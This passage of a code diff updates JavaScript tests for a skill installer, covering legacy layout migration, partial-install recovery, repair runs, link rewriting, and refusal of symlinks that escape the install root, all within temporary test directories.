fs.writeFileSync(userGuidePath, '# User guide\n');
|
||||
|
||||
const result = applyInstallPlan(expanded.plan);
|
||||
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(expanded.operations[0].destinationPath, 'utf8'),
|
||||
'# Updated ECC skill\n'
|
||||
);
|
||||
assert.strictEqual(fs.readFileSync(userGuidePath, 'utf8'), '# User guide\n');
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(expanded.operations[2].destinationPath, 'utf8'),
|
||||
'# New managed file\n'
|
||||
);
|
||||
assert.ok(result.warnings.some(warning => warning.includes('guide.md')));
|
||||
|
||||
const state = readInstallState(initial.installStatePath);
|
||||
assert.ok(state.operations.some(operation => (
|
||||
operation.destinationPath === expanded.operations[0].destinationPath
|
||||
)));
|
||||
assert.ok(!state.operations.some(operation => (
|
||||
operation.destinationPath === userGuidePath
|
||||
)));
|
||||
assert.ok(state.operations.some(operation => (
|
||||
operation.destinationPath === expanded.operations[2].destinationPath
|
||||
)));
|
||||
} finally {
|
||||
cleanup(initial.tempDir);
|
||||
if (expanded) {
|
||||
cleanup(expanded.tempDir);
|
||||
}
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('tracks a partial migration so retry and uninstall remain safe', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const legacyOperations = seedLegacyInstall(fixture);
|
||||
const missingSourcePlan = {
|
||||
...fixture.plan,
|
||||
operations: fixture.operations.map((operation, index) => (
|
||||
index === 1
|
||||
? { ...operation, sourcePath: path.join(fixture.sourceRoot, 'missing.md') }
|
||||
: operation
|
||||
)),
|
||||
};
|
||||
|
||||
assert.throws(() => applyInstallPlan(missingSourcePlan), /ENOENT/);
|
||||
assert.ok(legacyOperations.every(operation => fs.existsSync(operation.destinationPath)));
|
||||
assert.ok(fs.existsSync(fixture.operations[0].destinationPath));
|
||||
assert.ok(!fs.existsSync(fixture.operations[1].destinationPath));
|
||||
const bridgeState = readInstallState(fixture.installStatePath);
|
||||
assert.ok(legacyOperations.every(legacyOperation => (
|
||||
bridgeState.operations.some(operation => (
|
||||
operation.destinationPath === legacyOperation.destinationPath
|
||||
))
|
||||
)));
|
||||
assert.ok(fixture.operations.every(flatOperation => (
|
||||
bridgeState.operations.some(operation => (
|
||||
operation.destinationPath === flatOperation.destinationPath
|
||||
))
|
||||
)));
|
||||
|
||||
const retry = applyInstallPlan(fixture.plan);
|
||||
assert.deepStrictEqual(retry.skippedOperations, []);
|
||||
assert.ok(fixture.operations.every(operation => fs.existsSync(operation.destinationPath)));
|
||||
assert.ok(legacyOperations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(fixture.operations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('tracks a partial first install so retry does not misclassify it as user-owned', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const missingSourcePlan = {
|
||||
...fixture.plan,
|
||||
operations: fixture.operations.map((operation, index) => (
|
||||
index === 1
|
||||
? { ...operation, sourcePath: path.join(fixture.sourceRoot, 'missing.md') }
|
||||
: operation
|
||||
)),
|
||||
};
|
||||
|
||||
assert.throws(() => applyInstallPlan(missingSourcePlan), /ENOENT/);
|
||||
assert.ok(fs.existsSync(fixture.operations[0].destinationPath));
|
||||
assert.ok(!fs.existsSync(fixture.operations[1].destinationPath));
|
||||
const bridgeState = readInstallState(fixture.installStatePath);
|
||||
assert.ok(fixture.operations.every(flatOperation => (
|
||||
bridgeState.operations.some(operation => (
|
||||
operation.destinationPath === flatOperation.destinationPath
|
||||
))
|
||||
)));
|
||||
|
||||
const retry = applyInstallPlan(fixture.plan);
|
||||
assert.deepStrictEqual(retry.skippedOperations, []);
|
||||
assert.ok(!retry.warnings.some(warning => warning.includes('user-owned')));
|
||||
assert.ok(fixture.operations.every(operation => fs.existsSync(operation.destinationPath)));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(fixture.operations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('tracks non-skill files written before a partial flat-skill install fails', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const ruleSourceRelativePath = path.join('rules', 'common', 'coding.md');
|
||||
const ruleSourcePath = path.join(fixture.sourceRoot, ruleSourceRelativePath);
|
||||
const ruleDestinationPath = path.join(
|
||||
fixture.targetRoot,
|
||||
'rules',
|
||||
'ecc',
|
||||
'common',
|
||||
'coding.md'
|
||||
);
|
||||
fs.mkdirSync(path.dirname(ruleSourcePath), { recursive: true });
|
||||
fs.writeFileSync(ruleSourcePath, '# Managed rule\n');
|
||||
|
||||
const ruleOperation = createOperation(
|
||||
'workflow-quality',
|
||||
fixture.sourceRoot,
|
||||
ruleSourceRelativePath,
|
||||
ruleDestinationPath
|
||||
);
|
||||
const missingOperation = createOperation(
|
||||
'workflow-quality',
|
||||
fixture.sourceRoot,
|
||||
path.join('commands', 'missing.md'),
|
||||
path.join(fixture.targetRoot, 'commands', 'missing.md')
|
||||
);
|
||||
const operations = [
|
||||
fixture.operations[0],
|
||||
ruleOperation,
|
||||
missingOperation,
|
||||
];
|
||||
const partialPlan = {
|
||||
...fixture.plan,
|
||||
operations,
|
||||
statePreview: {
|
||||
...fixture.plan.statePreview,
|
||||
operations: operations.map(operation => ({ ...operation })),
|
||||
},
|
||||
};
|
||||
|
||||
assert.throws(() => applyInstallPlan(partialPlan), /ENOENT/);
|
||||
assert.ok(fs.existsSync(ruleDestinationPath));
|
||||
|
||||
const bridgeState = readInstallState(fixture.installStatePath);
|
||||
assert.ok(bridgeState.operations.some(operation => (
|
||||
operation.destinationPath === ruleDestinationPath
|
||||
)));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(!fs.existsSync(ruleDestinationPath));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('tracks partial non-skill writes when every flat skill is user-owned', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const userSkillPath = fixture.operations[0].destinationPath;
|
||||
fs.mkdirSync(path.dirname(userSkillPath), { recursive: true });
|
||||
fs.writeFileSync(userSkillPath, '# User skill\n');
|
||||
|
||||
const ruleSourceRelativePath = path.join('rules', 'common', 'coding.md');
|
||||
const ruleSourcePath = path.join(fixture.sourceRoot, ruleSourceRelativePath);
|
||||
const ruleDestinationPath = path.join(
|
||||
fixture.targetRoot,
|
||||
'rules',
|
||||
'ecc',
|
||||
'common',
|
||||
'coding.md'
|
||||
);
|
||||
fs.mkdirSync(path.dirname(ruleSourcePath), { recursive: true });
|
||||
fs.writeFileSync(ruleSourcePath, '# Managed rule\n');
|
||||
|
||||
const ruleOperation = createOperation(
|
||||
'workflow-quality',
|
||||
fixture.sourceRoot,
|
||||
ruleSourceRelativePath,
|
||||
ruleDestinationPath
|
||||
);
|
||||
const missingOperation = createOperation(
|
||||
'workflow-quality',
|
||||
fixture.sourceRoot,
|
||||
path.join('commands', 'missing.md'),
|
||||
path.join(fixture.targetRoot, 'commands', 'missing.md')
|
||||
);
|
||||
const operations = [
|
||||
...fixture.operations,
|
||||
ruleOperation,
|
||||
missingOperation,
|
||||
];
|
||||
const partialPlan = {
|
||||
...fixture.plan,
|
||||
operations,
|
||||
statePreview: {
|
||||
...fixture.plan.statePreview,
|
||||
operations: operations.map(operation => ({ ...operation })),
|
||||
},
|
||||
};
|
||||
|
||||
assert.throws(() => applyInstallPlan(partialPlan), /ENOENT/);
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User skill\n');
|
||||
assert.ok(fs.existsSync(ruleDestinationPath));
|
||||
|
||||
const bridgeState = readInstallState(fixture.installStatePath);
|
||||
assert.ok(!bridgeState.operations.some(operation => (
|
||||
operation.destinationPath === userSkillPath
|
||||
)));
|
||||
assert.ok(bridgeState.operations.some(operation => (
|
||||
operation.destinationPath === ruleDestinationPath
|
||||
)));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User skill\n');
|
||||
assert.ok(!fs.existsSync(ruleDestinationPath));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('keeps legacy files tracked when the bridge state write fails', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const legacyOperations = seedLegacyInstall(fixture);
|
||||
const failingStateWriter = filePath => {
|
||||
assert.strictEqual(
|
||||
path.resolve(filePath),
|
||||
path.resolve(fixture.installStatePath)
|
||||
);
|
||||
throw new Error('injected install-state write failure');
|
||||
};
|
||||
|
||||
assert.throws(
|
||||
() => applyInstallPlan(fixture.plan, { writeInstallState: failingStateWriter }),
|
||||
/injected install-state write failure/
|
||||
);
|
||||
|
||||
assert.ok(legacyOperations.every(operation => fs.existsSync(operation.destinationPath)));
|
||||
assert.ok(fixture.operations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
const state = readInstallState(fixture.installStatePath);
|
||||
assert.ok(state.operations.every(operation => (
|
||||
operation.destinationPath.includes(path.join('skills', 'ecc', 'demo-skill'))
|
||||
)));
|
||||
|
||||
const retry = applyInstallPlan(fixture.plan);
|
||||
assert.deepStrictEqual(retry.skippedOperations, []);
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(fixture.operations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('keeps both layouts represented if the final state write fails', () => {
|
||||
const fixture = createFixture();
|
||||
let stateWriteCount = 0;
|
||||
try {
|
||||
const legacyOperations = seedLegacyInstall(fixture);
|
||||
const failFinalStateWrite = (filePath, state) => {
|
||||
assert.strictEqual(
|
||||
path.resolve(filePath),
|
||||
path.resolve(fixture.installStatePath)
|
||||
);
|
||||
stateWriteCount += 1;
|
||||
if (stateWriteCount === 2) {
|
||||
throw new Error('injected final install-state write failure');
|
||||
}
|
||||
return writeInstallState(fixture.installStatePath, state);
|
||||
};
|
||||
|
||||
assert.throws(
|
||||
() => applyInstallPlan(fixture.plan, { writeInstallState: failFinalStateWrite }),
|
||||
/injected final install-state write failure/
|
||||
);
|
||||
assert.ok(fixture.operations.every(operation => fs.existsSync(operation.destinationPath)));
|
||||
assert.ok(legacyOperations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
|
||||
const bridgeState = readInstallState(fixture.installStatePath);
|
||||
assert.ok(fixture.operations.every(flatOperation => (
|
||||
bridgeState.operations.some(operation => (
|
||||
operation.destinationPath === flatOperation.destinationPath
|
||||
))
|
||||
)));
|
||||
assert.ok(bridgeState.operations.some(operation => (
|
||||
operation.destinationPath.includes(path.join('skills', 'ecc', 'demo-skill'))
|
||||
)));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(fixture.operations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects a flat skill symlink that escapes the Claude install root', () => {
|
||||
if (process.platform === 'win32') {
|
||||
console.log(' ↷ skipped on Windows: symlink privileges vary');
|
||||
return;
|
||||
}
|
||||
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const outsideRoot = path.join(fixture.tempDir, 'outside');
|
||||
fs.mkdirSync(outsideRoot, { recursive: true });
|
||||
const flatSkillRoot = path.join(fixture.targetRoot, 'skills', 'demo-skill');
|
||||
fs.mkdirSync(path.dirname(flatSkillRoot), { recursive: true });
|
||||
fs.symlinkSync(outsideRoot, flatSkillRoot, 'dir');
|
||||
|
||||
assert.throws(
|
||||
() => applyInstallPlan(fixture.plan),
|
||||
/symlinked Claude skill path/
|
||||
);
|
||||
assert.deepStrictEqual(fs.readdirSync(outsideRoot), []);
|
||||
assert.ok(!fs.existsSync(fixture.installStatePath));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rechecks skill directories created between validation and copy', () => {
|
||||
if (process.platform === 'win32') {
|
||||
console.log(' ↷ skipped on Windows: symlink privileges vary');
|
||||
return;
|
||||
}
|
||||
|
||||
const fixture = createFixture({
|
||||
skillFiles: {
|
||||
'SKILL.md': '# Current ECC skill\n',
|
||||
},
|
||||
});
|
||||
const destinationDirectory = path.dirname(fixture.operations[0].destinationPath);
|
||||
const outsideRoot = path.join(fixture.tempDir, 'outside');
|
||||
const originalMkdirSync = fs.mkdirSync;
|
||||
|
||||
try {
|
||||
originalMkdirSync(outsideRoot, { recursive: true });
|
||||
let injectedSymlink = false;
|
||||
fs.mkdirSync = function mkdirAndReplaceWithSymlink(directoryPath, options) {
|
||||
const result = originalMkdirSync(directoryPath, options);
|
||||
if (!injectedSymlink && path.resolve(directoryPath) === path.resolve(destinationDirectory)) {
|
||||
fs.rmSync(destinationDirectory, { recursive: true, force: true });
|
||||
fs.symlinkSync(outsideRoot, destinationDirectory, 'dir');
|
||||
injectedSymlink = true;
|
||||
}
|
||||
return result;
|
||||
};
|
||||
|
||||
assert.throws(
|
||||
() => applyInstallPlan(fixture.plan, { writeInstallState() {} }),
|
||||
/symlinked Claude skill path/
|
||||
);
|
||||
assert.strictEqual(injectedSymlink, true);
|
||||
assert.deepStrictEqual(fs.readdirSync(outsideRoot), []);
|
||||
} finally {
|
||||
fs.mkdirSync = originalMkdirSync;
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects a dangling destination symlink before copying a Claude skill file', () => {
|
||||
if (process.platform === 'win32') {
|
||||
console.log(' ↷ skipped on Windows: symlink privileges vary');
|
||||
return;
|
||||
}
|
||||
|
||||
const fixture = createFixture({
|
||||
skillFiles: {
|
||||
'SKILL.md': '# Current ECC skill\n',
|
||||
},
|
||||
});
|
||||
try {
|
||||
const outsideRoot = path.join(fixture.tempDir, 'outside');
|
||||
const outsideTarget = path.join(outsideRoot, 'not-created.md');
|
||||
fs.mkdirSync(outsideRoot, { recursive: true });
|
||||
fs.mkdirSync(path.dirname(fixture.operations[0].destinationPath), { recursive: true });
|
||||
fs.symlinkSync(outsideTarget, fixture.operations[0].destinationPath, 'file');
|
||||
assert.strictEqual(fs.existsSync(fixture.operations[0].destinationPath), false);
|
||||
|
||||
assert.throws(
|
||||
() => applyInstallPlan(fixture.plan),
|
||||
/symlinked Claude skill path/
|
||||
);
|
||||
assert.ok(!fs.existsSync(outsideTarget));
|
||||
assert.ok(!fs.existsSync(fixture.installStatePath));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
runTests();
|
||||
@@ -362,7 +362,7 @@ function runTests() {
|
||||
)));
|
||||
assert.ok(plan.operations.some(operation => (
|
||||
operation.sourceRelativePath === path.join('skills', 'demo', 'SKILL.md')
|
||||
&& operation.destinationPath === path.join(homeDir, '.claude', 'skills', 'ecc', 'demo', 'SKILL.md')
|
||||
&& operation.destinationPath === path.join(homeDir, '.claude', 'skills', 'demo', 'SKILL.md')
|
||||
)));
|
||||
assert.deepStrictEqual(plan.warnings, ['fixture warning']);
|
||||
assert.strictEqual(plan.statePreview.request.profile, 'minimal');
|
||||
@@ -416,7 +416,7 @@ function runTests() {
|
||||
|
||||
assert.strictEqual(applied.applied, true);
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'rules', 'ecc', 'common', 'coding-style.md')));
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'skills', 'ecc', 'demo', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'skills', 'demo', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'src', 'app.js')));
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'standalone.txt')));
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'plugin.json')));
|
||||
|
||||
@@ -635,6 +635,190 @@ function runTests() {
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('Claude repair and dry-run preserve user-owned flat skills during legacy migration', () => {
|
||||
const homeDir = createTempDir('install-lifecycle-home-');
|
||||
const projectRoot = createTempDir('install-lifecycle-project-');
|
||||
|
||||
try {
|
||||
const targetRoot = path.join(homeDir, '.claude');
|
||||
const installStatePath = path.join(targetRoot, 'ecc', 'install-state.json');
|
||||
const flatSkillPath = path.join(targetRoot, 'skills', 'tdd-workflow', 'SKILL.md');
|
||||
const legacySkillPath = path.join(
|
||||
targetRoot,
|
||||
'skills',
|
||||
'ecc',
|
||||
'tdd-workflow',
|
||||
'SKILL.md'
|
||||
);
|
||||
fs.mkdirSync(path.dirname(flatSkillPath), { recursive: true });
|
||||
fs.mkdirSync(path.dirname(legacySkillPath), { recursive: true });
|
||||
fs.writeFileSync(flatSkillPath, '# User-owned flat skill\n');
|
||||
fs.writeFileSync(legacySkillPath, '# Previously managed nested skill\n');
|
||||
|
||||
writeState(installStatePath, {
|
||||
adapter: { id: 'claude-home', target: 'claude', kind: 'home' },
|
||||
targetRoot,
|
||||
installStatePath,
|
||||
request: {
|
||||
profile: null,
|
||||
modules: ['workflow-quality'],
|
||||
includeComponents: [],
|
||||
excludeComponents: [],
|
||||
legacyLanguages: [],
|
||||
legacyMode: false,
|
||||
},
|
||||
resolution: {
|
||||
selectedModules: ['platform-configs', 'workflow-quality'],
|
||||
skippedModules: [],
|
||||
},
|
||||
operations: [{
|
||||
kind: 'copy-file',
|
||||
moduleId: 'workflow-quality',
|
||||
sourcePath: path.join(REPO_ROOT, 'skills', 'tdd-workflow', 'SKILL.md'),
|
||||
sourceRelativePath: path.join('skills', 'tdd-workflow', 'SKILL.md'),
|
||||
destinationPath: legacySkillPath,
|
||||
strategy: 'preserve-relative-path',
|
||||
ownership: 'managed',
|
||||
scaffoldOnly: false,
|
||||
}],
|
||||
source: {
|
||||
repoVersion: CURRENT_PACKAGE_VERSION,
|
||||
repoCommit: 'abc123',
|
||||
manifestVersion: CURRENT_MANIFEST_VERSION,
|
||||
},
|
||||
});
|
||||
|
||||
const dryRun = repairInstalledStates({
|
||||
repoRoot: REPO_ROOT,
|
||||
homeDir,
|
||||
projectRoot,
|
||||
targets: ['claude'],
|
||||
dryRun: true,
|
||||
});
|
||||
assert.ok(!dryRun.results[0].plannedRepairs.includes(flatSkillPath));
|
||||
assert.ok(dryRun.results[0].warnings.some(warning => warning.includes('user-owned')));
|
||||
assert.strictEqual(fs.readFileSync(flatSkillPath, 'utf8'), '# User-owned flat skill\n');
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(legacySkillPath, 'utf8'),
|
||||
'# Previously managed nested skill\n'
|
||||
);
|
||||
|
||||
const repaired = repairInstalledStates({
|
||||
repoRoot: REPO_ROOT,
|
||||
homeDir,
|
||||
projectRoot,
|
||||
targets: ['claude'],
|
||||
});
|
||||
assert.strictEqual(repaired.results[0].status, 'repaired');
|
||||
assert.ok(repaired.results[0].warnings.some(warning => warning.includes('user-owned')));
|
||||
assert.strictEqual(fs.readFileSync(flatSkillPath, 'utf8'), '# User-owned flat skill\n');
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(legacySkillPath, 'utf8'),
|
||||
fs.readFileSync(
|
||||
path.join(REPO_ROOT, 'skills', 'tdd-workflow', 'SKILL.md'),
|
||||
'utf8'
|
||||
)
|
||||
);
|
||||
const repairedState = JSON.parse(fs.readFileSync(installStatePath, 'utf8'));
|
||||
assert.ok(repairedState.operations.some(operation => (
|
||||
operation.destinationPath === legacySkillPath
|
||||
)));
|
||||
assert.ok(!repairedState.operations.some(operation => (
|
||||
operation.destinationPath === flatSkillPath
|
||||
)));
|
||||
} finally {
|
||||
cleanup(homeDir);
|
||||
cleanup(projectRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('Claude repair migration derives roots from the adapter and removes only the managed legacy file', () => {
|
||||
const homeDir = createTempDir('install-lifecycle-home-');
|
||||
const projectRoot = createTempDir('install-lifecycle-project-');
|
||||
const outsideRoot = createTempDir('install-lifecycle-outside-');
|
||||
|
||||
try {
|
||||
const targetRoot = path.join(homeDir, '.claude');
|
||||
const adapterStatePath = path.join(targetRoot, 'ecc', 'install-state.json');
|
||||
const recordedStatePath = path.join(outsideRoot, 'recorded-state.json');
|
||||
const flatSkillPath = path.join(targetRoot, 'skills', 'tdd-workflow', 'SKILL.md');
|
||||
const legacySkillPath = path.join(
|
||||
targetRoot,
|
||||
'skills',
|
||||
'ecc',
|
||||
'tdd-workflow',
|
||||
'SKILL.md'
|
||||
);
|
||||
fs.mkdirSync(path.dirname(legacySkillPath), { recursive: true });
|
||||
fs.writeFileSync(legacySkillPath, '# Previously managed nested skill\n');
|
||||
|
||||
writeState(adapterStatePath, {
|
||||
adapter: { id: 'claude-home', target: 'claude', kind: 'home' },
|
||||
targetRoot: outsideRoot,
|
||||
installStatePath: recordedStatePath,
|
||||
request: {
|
||||
profile: null,
|
||||
modules: ['workflow-quality'],
|
||||
includeComponents: [],
|
||||
excludeComponents: [],
|
||||
legacyLanguages: [],
|
||||
legacyMode: false,
|
||||
},
|
||||
resolution: {
|
||||
selectedModules: ['platform-configs', 'workflow-quality'],
|
||||
skippedModules: [],
|
||||
},
|
||||
operations: [{
|
||||
kind: 'copy-file',
|
||||
moduleId: 'workflow-quality',
|
||||
sourcePath: path.join(REPO_ROOT, 'skills', 'tdd-workflow', 'SKILL.md'),
|
||||
sourceRelativePath: path.join('skills', 'tdd-workflow', 'SKILL.md'),
|
||||
destinationPath: legacySkillPath,
|
||||
strategy: 'preserve-relative-path',
|
||||
ownership: 'managed',
|
||||
scaffoldOnly: false,
|
||||
}],
|
||||
source: {
|
||||
repoVersion: CURRENT_PACKAGE_VERSION,
|
||||
repoCommit: 'abc123',
|
||||
manifestVersion: CURRENT_MANIFEST_VERSION,
|
||||
},
|
||||
});
|
||||
fs.writeFileSync(recordedStatePath, 'outside sentinel\n');
|
||||
|
||||
const result = repairInstalledStates({
|
||||
repoRoot: REPO_ROOT,
|
||||
homeDir,
|
||||
projectRoot,
|
||||
targets: ['claude'],
|
||||
});
|
||||
|
||||
assert.strictEqual(result.results[0].status, 'repaired');
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(flatSkillPath, 'utf8'),
|
||||
fs.readFileSync(
|
||||
path.join(REPO_ROOT, 'skills', 'tdd-workflow', 'SKILL.md'),
|
||||
'utf8'
|
||||
)
|
||||
);
|
||||
assert.ok(!fs.existsSync(legacySkillPath));
|
||||
assert.strictEqual(fs.readFileSync(recordedStatePath, 'utf8'), 'outside sentinel\n');
|
||||
const refreshedState = readInstallState(adapterStatePath);
|
||||
assert.strictEqual(refreshedState.target.root, targetRoot);
|
||||
assert.strictEqual(refreshedState.target.installStatePath, adapterStatePath);
|
||||
assert.ok(refreshedState.operations.some(operation => (
|
||||
operation.destinationPath === flatSkillPath
|
||||
)));
|
||||
assert.ok(!refreshedState.operations.some(operation => (
|
||||
operation.destinationPath === legacySkillPath
|
||||
)));
|
||||
} finally {
|
||||
cleanup(homeDir);
|
||||
cleanup(projectRoot);
|
||||
cleanup(outsideRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('repair copies missing managed files from recorded source paths', () => {
|
||||
const homeDir = createTempDir('install-lifecycle-home-');
|
||||
const projectRoot = createTempDir('install-lifecycle-project-');
|
||||
|
||||
@@ -10,20 +10,19 @@ const path = require('path');
|
||||
|
||||
const {
|
||||
buildInstallIndex,
|
||||
isNamespacedSource,
|
||||
rewriteRelativeLinks,
|
||||
} = require('../../scripts/lib/install/link-rewrite');
|
||||
const { createManifestInstallPlan } = require('../../scripts/lib/install-executor');
|
||||
|
||||
const REPO_ROOT = path.resolve(__dirname, '..', '..');
|
||||
|
||||
// A claude-style namespace placement: skills/<id> -> skills/ecc/<id> and
|
||||
// A claude-style namespace placement: skills/<id> -> skills/<id> and
|
||||
// rules/<x> -> rules/ecc/<x>. Mirrors what the real adapter emits.
|
||||
function claudeNamespaceMappings() {
|
||||
return [
|
||||
{ sourceRel: 'skills/react-patterns/SKILL.md', destRel: 'skills/ecc/react-patterns/SKILL.md' },
|
||||
{ sourceRel: 'skills/react-patterns/other.md', destRel: 'skills/ecc/react-patterns/other.md' },
|
||||
{ sourceRel: 'skills/react-patterns/sub/NOTE.md', destRel: 'skills/ecc/react-patterns/sub/NOTE.md' },
|
||||
{ sourceRel: 'skills/react-patterns/SKILL.md', destRel: 'skills/react-patterns/SKILL.md' },
|
||||
{ sourceRel: 'skills/react-patterns/other.md', destRel: 'skills/react-patterns/other.md' },
|
||||
{ sourceRel: 'skills/react-patterns/sub/NOTE.md', destRel: 'skills/react-patterns/sub/NOTE.md' },
|
||||
{ sourceRel: 'rules/react/hooks.md', destRel: 'rules/ecc/react/hooks.md' },
|
||||
{ sourceRel: 'rules/react/testing.md', destRel: 'rules/ecc/react/testing.md' },
|
||||
{ sourceRel: 'rules/react/coding-style.md', destRel: 'rules/ecc/react/coding-style.md' },
|
||||
@@ -64,17 +63,17 @@ function runTests() {
|
||||
for (const skill of ['react-patterns', 'react-performance', 'react-testing']) {
|
||||
if (test(`rewrites ../../rules file link for ${skill}`, () => {
|
||||
const idx = buildInstallIndex([
|
||||
{ sourceRel: `skills/${skill}/SKILL.md`, destRel: `skills/ecc/${skill}/SKILL.md` },
|
||||
{ sourceRel: `skills/${skill}/SKILL.md`, destRel: `skills/${skill}/SKILL.md` },
|
||||
{ sourceRel: 'rules/react/hooks.md', destRel: 'rules/ecc/react/hooks.md' },
|
||||
]);
|
||||
const before = 'See [rules](../../rules/react/hooks.md) for details.';
|
||||
const after = rewriteRelativeLinks(before, { sourceRel: `skills/${skill}/SKILL.md`, index: idx });
|
||||
assert.notStrictEqual(after, before, 'rewrite must change the broken link (not vacuous)');
|
||||
assert.ok(
|
||||
after.includes('](../../../rules/ecc/react/hooks.md)'),
|
||||
after.includes('](../../rules/ecc/react/hooks.md)'),
|
||||
`expected corrected link, got: ${after}`
|
||||
);
|
||||
assert.ok(!after.includes('](../../rules/'), 'broken depth must be gone');
|
||||
assert.ok(!after.includes('](../../rules/react/'), 'un-namespaced rules link must be gone');
|
||||
})) passed++; else failed++;
|
||||
}
|
||||
|
||||
@@ -82,7 +81,7 @@ function runTests() {
|
||||
const before = '- Rules: [rules/react/](../../rules/react/)';
|
||||
const after = rewriteRelativeLinks(before, { sourceRel: 'skills/react-patterns/SKILL.md', index });
|
||||
assert.notStrictEqual(after, before);
|
||||
assert.ok(after.includes('](../../../rules/ecc/react/)'), `got: ${after}`);
|
||||
assert.ok(after.includes('](../../rules/ecc/react/)'), `got: ${after}`);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('leaves an intra-skill sibling link unchanged', () => {
|
||||
@@ -111,7 +110,7 @@ function runTests() {
|
||||
if (test('preserves a #fragment on a rewritten link', () => {
|
||||
const before = '[hooks](../../rules/react/hooks.md#use-effect)';
|
||||
const after = rewriteRelativeLinks(before, { sourceRel: 'skills/react-patterns/SKILL.md', index });
|
||||
assert.ok(after.includes('](../../../rules/ecc/react/hooks.md#use-effect)'), `got: ${after}`);
|
||||
assert.ok(after.includes('](../../rules/ecc/react/hooks.md#use-effect)'), `got: ${after}`);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('does not rewrite links inside fenced code blocks', () => {
|
||||
@@ -123,16 +122,16 @@ function runTests() {
|
||||
].join('\n');
|
||||
const after = rewriteRelativeLinks(before, { sourceRel: 'skills/react-patterns/SKILL.md', index });
|
||||
assert.ok(after.includes('[code](../../rules/react/hooks.md)'), 'code-fence link must be untouched');
|
||||
assert.ok(after.includes('[prose](../../../rules/ecc/react/hooks.md)'), 'prose link must be rewritten');
|
||||
assert.ok(after.includes('[prose](../../rules/ecc/react/hooks.md)'), 'prose link must be rewritten');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('computes depth from path math for a nested skill file', () => {
|
||||
// skills/react-patterns/sub/NOTE.md -> skills/ecc/react-patterns/sub/NOTE.md
|
||||
// skills/react-patterns/sub/NOTE.md -> skills/react-patterns/sub/NOTE.md
|
||||
// Source link is ../../../rules/react/hooks.md (3 up from sub/).
|
||||
const before = '[r](../../../rules/react/hooks.md)';
|
||||
const after = rewriteRelativeLinks(before, { sourceRel: 'skills/react-patterns/sub/NOTE.md', index });
|
||||
assert.notStrictEqual(after, before, 'nested depth must be recomputed, not hardcoded');
|
||||
assert.ok(after.includes('](../../../../rules/ecc/react/hooks.md)'), `got: ${after}`);
|
||||
assert.ok(after.includes('](../../../rules/ecc/react/hooks.md)'), `got: ${after}`);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('is a no-op for a non-namespacing (identity) placement', () => {
|
||||
